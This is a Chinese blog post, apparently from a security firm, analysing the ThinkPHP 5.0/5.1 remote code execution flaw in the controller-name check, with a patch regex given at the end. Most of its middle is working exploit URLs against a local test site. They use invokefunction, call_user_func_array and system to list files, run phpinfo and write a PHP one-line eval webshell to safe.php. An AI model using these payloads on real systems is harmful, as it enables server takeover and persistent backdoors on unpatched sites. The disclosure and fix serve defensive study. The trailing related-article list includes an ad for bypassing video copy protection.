Thinkphp网站漏洞怎么修复解决

简介: THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。


关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

u=3323187009,2716943810&fm=173&app=49&f=JPEG.jpg

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。


在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。


我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l


直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:


u=2272079778,3445932402&fm=173&app=49&f=JPEG.jpg


通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


u=902124070,3778954851&fm=173&app=49&f=JPEG.jpg


有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php


关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.


针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,


if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }



相关文章
Element UI - el-table 渲染慢,卡的原因
Element UI - el-table 渲染慢,卡的原因
3522 0
|
7月前
|
Prometheus 监控 算法
CMS圣经:CMS垃圾回收器的原理、调优,多标+漏标+浮动垃圾 分析与 研究
本文介绍了CMS(Concurrent Mark-Sweep)垃圾回收器的工作原理、优缺点及常见问题,并通过具体案例分析了其优化策略。重点探讨了CMS的各个阶段,包括标记、并发清理和重标记
CMS圣经:CMS垃圾回收器的原理、调优,多标+漏标+浮动垃圾 分析与 研究
|
安全 数据安全/隐私保护
BUUCTF---wireshark1
BUUCTF---wireshark1
|
数据安全/隐私保护
金狮金盾点盾云鹏保宝加密视频去检测翻录录屏
通过独家技术特殊加载录屏工具,可规避加密视频播放器如金盾、金狮等的检测,确保录屏既清晰又隐形。使用步骤简便:首先正常播放加密视频,接着通过特殊方式打开录屏工具,最后即可顺利录制。详情及下载请访问 spjm.vip/sp/pz/wnlp.txt。主要功能包括:防止录制时出现黑屏,以及隐蔽启动录屏工具以避开检测。
601 2
|
程序员 API 开发者
自动化脚本如何编写?打算写个自动发布文章的脚本教程
作为一名程序员/开发者,我们经常需要处理重复性的任务,比如发布文章到多个媒体平台。为了提高效率,我们可以编写自动化脚本来完成这些任务。本文将介绍如何使用万媒易发多平台内容同步助手来自动发布文章。
|
数据采集 搜索推荐 算法
什么是谷歌蜘蛛池?具体有什么用?
答案是:谷歌蜘蛛池就是GPC爬虫池,可以快速收录网站页面。 谷歌蜘蛛池概述 谷歌蜘蛛池,又称Googlebot池,是由谷歌爬虫或"蜘蛛"组成的一种资源池。 这些蜘蛛在互联网上爬行,寻找新的和更新的网页,并将这些信息带回谷歌的索引。 谷歌蜘蛛的工作原理 谷歌蜘蛛从已知的网页开始,然后通过网页上的链接找到新的网址。 在找到新的网址后,它们会抓取这些页面的内容,并使用复杂的算法来决定这些页面在搜索结果中的排名。
641 0
什么是谷歌蜘蛛池?具体有什么用?
|
Java Spring 数据格式
Controller和RestController的区别
1. Controller, RestController的共同点      都是用来表示Spring某个类的是否可以接收HTTP请求   2.  Controller, RestController的不同点      @Controller:  标识一个Spring类是Spring MVC controller处理器      @RestController:    @RestController是@Controller和@ResponseBody的结合体,两个标注合并起来的作用。
7184 0
|
Java 程序员 Python
Python垃圾回收机制详解:引用计数与循环垃圾收集器
Python垃圾回收机制详解:引用计数与循环垃圾收集器
470 0
|
缓存 容器
uniapp 中实现主题色配置切换
uniapp 中实现主题色配置切换
uniapp 中实现主题色配置切换
|
算法
基于matlab的瑞利信道模拟和仿真
基于matlab的瑞利信道模拟和仿真
1108 0
基于matlab的瑞利信道模拟和仿真